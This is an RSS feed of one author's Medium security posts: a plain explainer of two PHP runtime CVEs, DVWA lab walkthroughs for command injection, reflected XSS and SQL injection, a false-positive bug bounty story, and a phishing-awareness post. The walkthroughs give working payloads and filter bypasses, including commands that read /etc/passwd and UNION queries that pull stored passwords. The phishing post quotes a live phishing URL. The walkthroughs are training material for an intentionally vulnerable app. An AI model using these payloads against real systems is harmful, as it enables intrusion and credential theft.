<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Chris Christian on Medium]]></title>
        <description><![CDATA[Stories by Chris Christian on Medium]]></description>
        <link>https://medium.com/@chris.christian232005?source=rss-0728c80606b3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*SWqRENglU6zgDvWKu1bg_Q.jpeg</url>
            <title>Stories by Chris Christian on Medium</title>
            <link>https://medium.com/@chris.christian232005?source=rss-0728c80606b3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 00:01:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@chris.christian232005/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PHP2Shell: Simplest Explanation]]></title>
            <link>https://medium.com/@chris.christian232005/php2shell-simplest-explanation-bd9772116cea?source=rss-0728c80606b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/bd9772116cea</guid>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[php2shell]]></category>
            <dc:creator><![CDATA[Chris Christian]]></dc:creator>
            <pubDate>Sun, 25 Oct 2026 18:55:44 GMT</pubDate>
            <atom:updated>2026-10-25T18:55:44.851Z</atom:updated>
            <content:encoded><![CDATA[<h4>How a PHP bug can give an attacker control of your server</h4><p>Imagine spending weeks securing a website.</p><p>You’ve fixed SQL injection vulnerabilities, added input validation, updated your plugins, and followed security best practices.</p><p>Then someone sends a specially crafted HTTP request to your server and manages to execute OS commands without logging in.</p><p>Crazy, right?</p><p>This is the idea behind <strong>PHP2Shell</strong>, the name given to two critical vulnerabilities in PHP disclosed on October 21, 2026.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hUbxbITpz7A0uXi11Oc8Bw.png" /></figure><p>The vulnerabilities tracked as CVE-2026-109618 and CVE-2026-109619, affect PHP’s core runtime and can allow unauthenticated attackers to execute code remotely.</p><p>The security researchers who investigated these flaws demonstrated exploitation against popular web applications including WordPress, Drupal, and Joomla.</p><p>Let’s understand what happened and how the exploit works at a high level, and what we can learn from it.</p><h3>1. First, What Exactly Is PHP?</h3><p>PHP is a server-side programming language. It’s commonly used to build websites, process forms, manage sessions, and communicate with databases.</p><p>For example, when you log in to a website, PHP might check your credentials against a database and create a session to remember that you’re logged in.</p><p>A simplified version of the process looks like this:</p><p><strong>Your browser → Web server → PHP runtime → Website application → Database</strong></p><p>The PHP runtime is the software responsible for executing PHP code.</p><p>Applications such as WordPress use PHP to perform their core functions. Plugins and themes may add more functionality, but the underlying PHP runtime still does the actual execution.</p><p>This distinction becomes important when a vulnerability exists in PHP itself.</p><p>If a WordPress plugin contains a vulnerability, updating or removing that plugin may resolve the problem. But if the vulnerability exists in PHP’s core engine, updating WordPress alone won’t necessarily protect the server.</p><h3>2. What Is PHP2Shell?</h3><p>PHP2Shell refers to two critical vulnerabilities in PHP’s internal request-processing and memory-management mechanisms.</p><p>The two vulnerabilities are:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*VuNPkCem3p18wOZAVeCGkQ.png" /></figure><p>Both received a CVSS v4.0 severity score of 9.2 in the initial advisories.</p><p>In simple terms, both vulnerabilities involve PHP mishandling its own internal memory.</p><p>To understand why that’s dangerous, we need to look at two concepts: out-of-memory errors and use-after-free vulnerabilities.</p><p>Don’t worry if these terms sound complicated. The underlying ideas are easier to understand than their names suggest.</p><h3>3. The First Flaw: What Happens When PHP Runs Out of Memory?</h3><p>Let’s start with CVE-2026-109618.</p><h4>Understanding an out-of-memory error</h4><p>Every running program needs memory to store data and perform operations.</p><p>When PHP processes an HTTP request, it may allocate memory for form fields, uploaded files, session information, and other data.</p><p>A process can run out of the memory available to it, or an operation can fail because it cannot allocate the memory it needs.</p><p>Normally, software should handle this situation safely.</p><p>It should stop the operation, clean up anything that was partially created, and leave the program in a consistent state.</p><p>The problem occurs when that cleanup doesn’t happen correctly.</p><p>PHP begins initializing an internal data structure. A memory allocation fails, interrupting the operation. But the runtime’s internal bookkeeping doesn’t accurately reflect what was completed.</p><p>Later, cleanup code “assumes” that the data structure is valid.</p><p>That mismatch can cause PHP to access memory incorrectly.</p><p>In the case of CVE-2026-109618, researchers demonstrated that this memory-corruption problem could be exploited to achieve remote code execution.</p><h3>4. The Second Flaw: Use-After-Free</h3><p>The second vulnerability, CVE-2026-109619, involves a concept called <em>use-after-free</em>.</p><p>It’s one of those security terms that sounds complicated until you see an example.</p><h4>Imagine a hotel room</h4><p>Suppose a hotel assigns Room 204 to a guest.</p><p>The guest checks out and the room is cleaned and made available to someone else.</p><p>However, the hotel’s internal system still says that the original guest occupies Room 204.</p><p>A staff member later consults that outdated record and assumes the room still belongs to the original guest.</p><p>A use-after-free vulnerability is conceptually similar.</p><p>A program allocates memory for an object and stores a reference to it. Later, the program releases that memory so it can be reused. But another part of the program still holds a reference to the original memory location.</p><p>If the program uses that reference again, it may access memory that no longer contains the original object.</p><p>This can cause unexpected behavior, crashes, memory corruption, and, in some cases, code execution.</p><h4>How does this happen in PHP2Shell?</h4><p>PHP maintains internal state while processing requests.</p><p>Some of that state belongs only to the current request. When the request finishes, the associated memory should be released and any references to it should be cleared.</p><p>However, certain error-handling paths can interrupt this process.</p><p>Under the conditions described by the researchers, PHP can retain references to request-related memory after that memory has been freed.</p><p>A subsequent request handled by the same worker may then encounter the stale reference before PHP has properly reset the relevant state.</p><p>If an attacker can influence the memory that gets reused, the consequences can become much more serious.</p><p>The important sequence is:</p><ol><li>PHP begins processing a request.</li><li>An error interrupts the expected processing or cleanup sequence.</li><li>Memory is released, but an internal reference survives.</li><li>The same worker later processes another request.</li><li>The stale reference is used in an unsafe way.</li><li>Under suitable conditions, the attacker can turn the memory corruption into code execution.</li></ol><blockquote>This is a simplified explanation of the underlying problem, not a guarantee that every vulnerable request will produce a successful exploit. The actual exploitation process is considerably more complicated.</blockquote><h3>5. How Does an Attacker Turn These Bugs Into a Shell?</h3><h4>Step 1: Send a specially crafted request</h4><p>An attacker sends an HTTP request containing carefully chosen data. PHP processes some of this data before the website’s application code begins executing.</p><p>Under the right conditions, the request can trigger one of the vulnerable code paths without requiring the attacker to log in.</p><h4>Step 2: Trigger the memory-management flaw</h4><p>The attacker needs PHP to reach the vulnerable state.</p><p>For CVE-2026-109618, this involves an out-of-memory condition during initialization. For CVE-2026-109619, it involves PHP using an outdated reference to memory that has already been freed.</p><h4>Step 3: Influence memory</h4><p>When memory is freed, it can be reused for other data. If an attacker can influence what occupies that memory, they may be able to manipulate how the vulnerable code behaves.</p><p>Researchers use techniques such as <em>heap grooming</em> to make memory allocation patterns more predictable. However, success depends on the PHP build, memory layout, and other environmental factors.</p><h4>Step 4: Turn memory corruption into code execution</h4><p>Modern operating systems use protections such as Address Space Layout Randomization (ASLR) to make memory addresses unpredictable.</p><p>To bypass this, the attacker first leverages PHP’s stale global state to trigger a tiny memory leak, which reveals the server’s secret memory layout.</p><p>With ASLR defeated, the attacker uses the corrupted memory path to overwrite a internal PHP function pointer, redirecting the engine to execute operating-system commands instead of standard PHP code.</p><p><em>Further reading: </em><a href="https://www.wiz.io/blog/php2shell-php-rce"><em>Wiz Research</em></a><em> and </em><a href="https://research.jfrog.com/post/php2shell-all-you-need-to-know-about-cve-2026-109618-and-cve-2026-109619/"><em>JFrog Security Research</em></a><em>.</em></p><h3>6. What Does This Mean for Website Owners?</h3><p>PHP2Shell is concerning because an application can be carefully written and still run on a vulnerable PHP runtime.</p><p>If you maintain a PHP application, the priority is to:</p><ul><li><strong>Check your PHP version:</strong> Identify the runtime actually serving web requests, not just the command-line version.</li><li><strong>Install the relevant security updates:</strong> Follow the official PHP or operating-system vendor advisories.</li><li><strong>Review suspicious activity:</strong> Look for unusual PHP worker crashes, memory errors, unexpected child processes, and suspicious outbound connections.</li></ul><p>You can check the PHP version available in your terminal with:</p><pre>php -v</pre><p>Keep in mind that a website may use a different PHP installation.</p><p>The initial fixes were released for PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35. Check the latest official advisories before relying on these version numbers.</p><p><em>Source: </em><a href="https://www.php.net/"><em>Official PHP website</em></a><em>.</em></p><h3>Conclusion</h3><p><strong>PHP2Shell</strong> reminds us that software security extends beyond application code<strong>.</strong> By exploiting how the PHP runtime handles memory allocation failures and use-after-free conditions, researchers demonstrated that low-level engine flaws can grant complete remote control over a server. For engineers, this serves as a critical reminder that a deployment is only as secure as its underlying infrastructure.</p><h3>Further Reading</h3><ul><li><a href="https://www.wiz.io/blog/php2shell-php-rce">Wiz Research</a></li><li><a href="https://research.jfrog.com/post/php2shell-all-you-need-to-know-about-cve-2026-109618-and-cve-2026-109619/">JFrog Security Research</a></li><li><a href="https://unit42.paloaltonetworks.com/cve-2026-109618-cve-2026-109619/">Palo Alto Networks Unit 42</a></li><li><a href="https://github.com/php/php-src/security/advisories">Official PHP security advisories</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bd9772116cea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DVWA COMMAND INJECTION (ALL LEVELS)]]></title>
            <link>https://infosecwriteups.com/dvwa-command-injection-all-levels-5c68da841d91?source=rss-0728c80606b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c68da841d91</guid>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[all-levels]]></category>
            <category><![CDATA[command-injection]]></category>
            <dc:creator><![CDATA[Chris Christian]]></dc:creator>
            <pubDate>Thu, 02 Apr 2026 06:57:06 GMT</pubDate>
            <atom:updated>2026-04-02T06:57:06.024Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>LOW, MEDIUM AND HIGH</strong></h4><h4><strong>Low Security</strong></h4><p>Scroll down and click “View source” button to view the source code of current level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*Hijv8S6e1B_kI7Rsf6QqHw.png" /></figure><p><strong>Vulnerability:</strong> The code takes user input from $_REQUEST[&#39;ip&#39;] and concatenates it directly into shell_exec() with absolutely no validation or sanitization. The application blindly trusts that the user will only enter an IP address. This allows an attacker to append any shell operator (|, &amp;&amp;, ;) followed by arbitrary OS commands, which the server executes with web server privileges.</p><p><strong>Confirming Injection</strong></p><p>Start by confirming code execution with the simplest payload:</p><pre>;whoami<br>;cat /etc/passwd</pre><p>When you submit ;whoami, the semicolon ; is a shell command separator that tells the terminal to run whatever comes after it as a completely new, independent command. So the shell executes ping first, then executes whoami right after regardless of whether ping succeeded or failed. Since there is no filtering on the input, the semicolon reaches the shell untouched and both commands run.</p><h4>Medium Security</h4><p>Scroll down and click “View source” button to view the source code of current level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*JcdoW5Q9Puurrk4eC_M1BQ.png" /></figure><p><strong>Vulnerability:</strong> The code attempts to fix the issue using a blacklist, stripping &amp;&amp; and ; from the input. This is incomplete because it only blocks two operators out of many. The pipe operator | is completely unaddressed and works as-is.</p><p>Blacklists like this assume you know every possible attack vector in advance, which is never true.</p><p><strong>Confirming Injection</strong></p><p>The pipe operator | was never added to the blacklist. It passes through completely untouched:</p><pre>| whoami<br>| cat /etc/passwd<br>| id<br>| uname -a</pre><p>When you submit | whoami, the pipe | is meant to send the output of the left command as input to the right command. However whoami does not need any input, it simply ignores whatever is piped into it and runs anyway. The important thing is that the pipe forces whoami to execute. Since the blacklist only strips &amp;&amp; and ;, the pipe passes through untouched. The output of whoami is what gets captured by shell_exec() and rendered in the browser.</p><h4>High Security</h4><p>Scroll down and click “View source” button to view the source code of current level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*Ij0D9LIFyFZ76Ac4j6tSbA.png" /></figure><p><strong>Vulnerability: </strong>This blocks almost every common operator and even command substitution characters like backticks and $(). It looks thorough but has one critical mistake.</p><p>The blacklist strips | which is a <strong>pipe followed by a space</strong>. It does not strip | on its own. This means a pipe with no space before the command bypasses the filter completely.</p><p><strong>Confirming Injection</strong></p><pre>|whoami<br>|cat /etc/passwd<br>|id</pre><p>The Linux shell does not require a space after the pipe to understand it. |whoami and | whoami are treated identically by the shell. So whoami executes, and its output gets rendered in the browser.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c68da841d91" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/dvwa-command-injection-all-levels-5c68da841d91">DVWA COMMAND INJECTION (ALL LEVELS)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subzy and the Case of the False Positive: Why Manual Validation Matters]]></title>
            <link>https://medium.com/@chris.christian232005/subzy-and-the-case-of-the-false-positive-why-manual-validation-matters-d420ab1e6e7f?source=rss-0728c80606b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/d420ab1e6e7f</guid>
            <category><![CDATA[cybersecurity-tools]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[subzy]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Chris Christian]]></dc:creator>
            <pubDate>Fri, 05 Sep 2025 15:36:40 GMT</pubDate>
            <atom:updated>2025-09-05T15:36:40.538Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PE1vejMgQGNR_NXux-0wpw.png" /></figure><p>Recently, I was testing <strong>Subzy</strong>, a tool designed to detect potential <strong>subdomain takeover vulnerabilities</strong>. During the scan, one subdomain popped up with a dangling CNAME pointing to <strong>Unbounce</strong>.</p><p>At first sight, this looked like a takeover opportunity. Tools like Subzy often highlight such cases because in the past, unclaimed SaaS resources (e.g., Unbounce pages, GitHub pages, AWS S3 buckets) could be hijacked by attackers.</p><h3>The Initial Excitement 🤩</h3><p>I documented the issue, explained the potential risks, and prepared a detailed report for the vendor. Everything seemed like a genuine finding.</p><h3>The Twist 🕵🏼‍♂️</h3><p>When asked to provide a proof of exploit, I dug deeper and cross-referenced the <strong>“</strong><a href="https://github.com/EdOverflow/can-i-take-over-xyz/tree/master"><strong>Can I Take Over XYZ?</strong></a><strong>”</strong> project. That’s when I discovered that <strong>Unbounce is no longer vulnerable</strong> to this type of subdomain takeover.</p><p>So even though there was a dangling CNAME, it wasn’t exploitable. In short:<br> ✅ Subzy flagged it as <strong>vulnerable</strong><br> ❌ Reality: It was a <strong>false positive</strong></p><h3>Key Takeaways</h3><ul><li><strong>Don’t blindly trust tools.</strong> Subzy is great for automation, but manual validation is essential.</li><li><strong>False positives happen.</strong> SaaS providers that were once vulnerable may have patched the issue.</li><li><strong>Credibility &gt; Ego.</strong> It’s always better to acknowledge a false positive than to push it as a real finding.</li><li><strong>Learning matters most.</strong> Even invalid findings sharpen validation skills and judgment.</li></ul><h3>Closing Thoughts</h3><p>Subzy is a helpful companion, but it should be treated as a <strong>first filter</strong>, not the final verdict. Always:</p><ul><li>Validate manually</li><li>Cross-check with community repos like <em>Can I Take Over XYZ?</em></li><li>Keep vendor trust by being transparent</li></ul><p>In bug bounty hunting, tools speed up the process, but <strong>critical thinking defines the hunter</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d420ab1e6e7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DVWA Reflected XSS (ALL LEVELS)]]></title>
            <link>https://infosecwriteups.com/dvwa-reflected-xss-all-levels-616e561dd674?source=rss-0728c80606b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/616e561dd674</guid>
            <category><![CDATA[reflected-xss]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[all-levels]]></category>
            <dc:creator><![CDATA[Chris Christian]]></dc:creator>
            <pubDate>Sun, 24 Aug 2025 13:54:11 GMT</pubDate>
            <atom:updated>2025-09-06T05:48:41.678Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>Low, Medium and High</strong></h4><h4><strong>1. Low</strong></h4><p>Enter your name into the input field and observe the application’s behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*Qa8SJRqCSQ2Nv8lTTaXFLw.png" /></figure><p>The input is directly reflected in both the <strong>URL</strong> and the page output beside “Hello”.</p><p>View it’s source by selecting <strong>“View Source”</strong> in the bottom-right corner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*KAF6acxMb4BVmpHkZjNCqA.png" /></figure><p>Observe that the application simply echoes back the user-supplied input without any sanitization or encoding.</p><p>Inject the following payload into the input field:</p><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><p>Result: A JavaScript alert is successfully executed, confirming the application is vulnerable to reflected XSS at this level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*hspzB105JLNQWZudNXGYnA.png" /></figure><h4><strong>2. Medium</strong></h4><p>View the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*YAPX-2_6dDn2BCiZQPqUKQ.png" /></figure><p>Observe that this time our previous payload won’t work because the application includes a filter that removes &lt;script&gt; tags.</p><p>Since javascript is not a case sensitive language, we can bypass this filter by mixing uppercase and lowercase letters in the tag:</p><pre>&lt;scRipt&gt;alert(1)&lt;/Script&gt;</pre><p>Result: The alert executes successfully, demonstrating that the blacklist-based filter is insufficient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*ebq-M-lp20BEwLjbk4qwuA.png" /></figure><h4><strong>3. High</strong></h4><p>View the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*Bl8gZVqX4KJDcU05_8XmdQ.png" /></figure><p>At this level, the application applies a regex-based replacement that strips variations of &lt;script&gt; tags, including obfuscated ones (e.g., &lt;ScRiPt&gt;, &lt;sCrXXXipt&gt;, &lt;s c r i p t&gt;).</p><p>Since the filter specifically targets &lt;script&gt; tags, we must craft a payload that does not rely on them.</p><p>Use an alternate injection vector, such as an image element with an error handler:</p><pre>&lt;img src=x onerror=alert(1)&gt;</pre><p>The invalid image source (x) triggers an error, which in turn executes the onerror JavaScript handler.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*M13CCO4nML0k6UASSPxo9g.png" /></figure><p>Result: The alert is executed successfully, confirming that the application remains vulnerable despite the regex filter.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=616e561dd674" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/dvwa-reflected-xss-all-levels-616e561dd674">DVWA Reflected XSS (ALL LEVELS)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DVWA SQL INJECTION (ALL LEVELS)]]></title>
            <link>https://medium.com/@chris.christian232005/dvwa-sql-injection-all-levels-708f8d85e7ce?source=rss-0728c80606b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/708f8d85e7ce</guid>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[high-low-and-medium]]></category>
            <category><![CDATA[dvwa-sql-injection]]></category>
            <dc:creator><![CDATA[Chris Christian]]></dc:creator>
            <pubDate>Mon, 09 Jun 2025 14:49:33 GMT</pubDate>
            <atom:updated>2025-06-09T14:49:33.034Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>LOW, MEDIUM AND HIGH</strong></h4><h4>LOW</h4><p>Scroll down and click the ‘View source’ button to view the source code of current level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*apzwAsytQcGPJWT3WrApYg.png" /></figure><p>The flaw in the above code is that the variable $id is retrieved from the user input without any validation or sanitization. It is then directly concatenated into the SQL query string.</p><p>So when we insert any User ID like 1,2,etc… It displays the firstname and lastname of every user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*Ugr2h61IFpQD7Y_SCs-G3w.png" /></figure><p>We can execute the below query to display information about all users.</p><pre>1&#39; OR &#39;1&#39;=&#39;1&#39;-- </pre><p><strong>Note - Make sure you leave a space after - -</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*r-4ibBD4zrjJrYZ4xMnA8w.png" /></figure><p>Now let’s find the location in which user’s credentials are stored.</p><pre>&#39;UNION SELECT table_name, NULL FROM information_schema.tables --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*MoMP8U02d0WxJU0ndnrBdQ.png" /></figure><pre>&#39;UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= &#39;users&#39; --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*HQLQe9T62BIKBQqvgNbGjw.png" /></figure><p>So, as we now know the exact columns and table to get credentials of other users, we can use this information in all the levels.</p><pre>&#39;UNION SELECT user, password FROM users --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*UatD8EWeVikujhKL6OO1QA.png" /></figure><h4>Medium</h4><p>In this level the text box has been replaced with a pre-defined dropdown list and uses POST to submit the form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*Y3AQimg_7ayMtTdEZu8AEw.png" /></figure><p>Let’s intercept the request in Burp suite and send it to repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wE61KUJGukReaniKKLaa1g.png" /></figure><p>Replace the id with the below code and url encode it using Ctrl+u.</p><pre>1 UNION SELECT user, password FROM users -- </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EdfEr_14cbs0K0iDfaeK2Q.png" /></figure><h4>High</h4><p>This level is similar to low level but the input values are being transferred to the vulnerable query via session variables using another page, rather than a direct GET request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*EeLjmC4UFNc3cR8BDUpMjQ.png" /></figure><p>The results from the query are returned in the application’s response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*vmeskv0Cb9yZWo00qfXSyA.png" /></figure><p>So we can use UNION attacks to retrieve data from other tables.</p><pre>&#39; UNION SELECT user, password FROM users -- </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*-5wImpeyvs2dIvp7hA_V4A.png" /></figure><p>We’ve successfully solved all the levels!<br>I hope everything was clear and helpful.<br>If you have any specific doubts or questions, feel free to respond to this story.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=708f8d85e7ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[      ]]></title>
            <link>https://medium.com/@chris.christian232005/-95a7c3831ebd?source=rss-0728c80606b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/95a7c3831ebd</guid>
            <category><![CDATA[cyber-awareness]]></category>
            <dc:creator><![CDATA[Chris Christian]]></dc:creator>
            <pubDate>Thu, 05 Jun 2025 08:48:45 GMT</pubDate>
            <atom:updated>2025-06-05T08:51:47.135Z</atom:updated>
            <content:encoded><![CDATA[<p>Today, someone casually shared this link in a group chat:</p><p><a href="https://zudio.com/">https://zudio.com</a>@<a href="http://zerda.cyou/?id=250604053914">zerda.cyou?id=250604053914</a></p><p>At first glance, it looked legit. But a closer look revealed something fishy 🕵🏼‍♂️<br>The trick? Using 𝘇𝘂𝗱𝗶𝗼.𝗰𝗼𝗺 as a username, not the domain.<br>The real website is actually <a href="http://zerda.cyou/">zerda.cyou</a>, hidden after the @.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HxUzLW3xG5JylHE3DnyuNA.webp" /></figure><p>Just imagine someone clicking it, thinking it’s from a trusted brand…</p><p>🔍 I ran it through 𝗩𝗶𝗿𝘂𝘀𝗧𝗼𝘁𝗮𝗹 — it showed “clean.” But that doesn’t always mean “safe.”<br>So I opened it in Tor (always sandbox suspicious links) — and boom, it asked me to log in using <a href="http://zudio.com/">zudio.com</a> as a user ID.</p><p>Saved myself. Learned a lesson. And now, sharing it with you all.<br>𝗔𝗹𝘄𝗮𝘆𝘀 𝗱𝗼𝘂𝗯𝗹𝗲-𝗰𝗵𝗲𝗰𝗸 𝗨𝗥𝗟𝘀. 𝗬𝗼𝘂𝗿 𝗴𝘂𝘁 + 𝗮 𝗹𝗶𝘁𝘁𝗹𝗲 𝘁𝗲𝗰𝗵𝗻𝗶𝗰𝗮𝗹 𝗰𝘂𝗿𝗶𝗼𝘀𝗶𝘁𝘆 = 𝗯𝗲𝘀𝘁 𝗽𝗿𝗼𝘁𝗲𝗰𝘁𝗶𝗼𝗻.</p><p><a href="https://www.linkedin.com/search/results/all/?keywords=%23cybersecurity&amp;origin=HASH_TAG_FROM_FEED">#CyberSecurity</a> <a href="https://www.linkedin.com/search/results/all/?keywords=%23phishingawareness&amp;origin=HASH_TAG_FROM_FEED">#PhishingAwareness</a> <a href="https://www.linkedin.com/search/results/all/?keywords=%23infosec&amp;origin=HASH_TAG_FROM_FEED">#InfoSec</a> <a href="https://www.linkedin.com/search/results/all/?keywords=%23staysafeonline&amp;origin=HASH_TAG_FROM_FEED">#StaySafeOnline</a> <a href="https://www.linkedin.com/search/results/all/?keywords=%23thinkbeforeyouclick&amp;origin=HASH_TAG_FROM_FEED">#ThinkBeforeYouClick</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95a7c3831ebd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>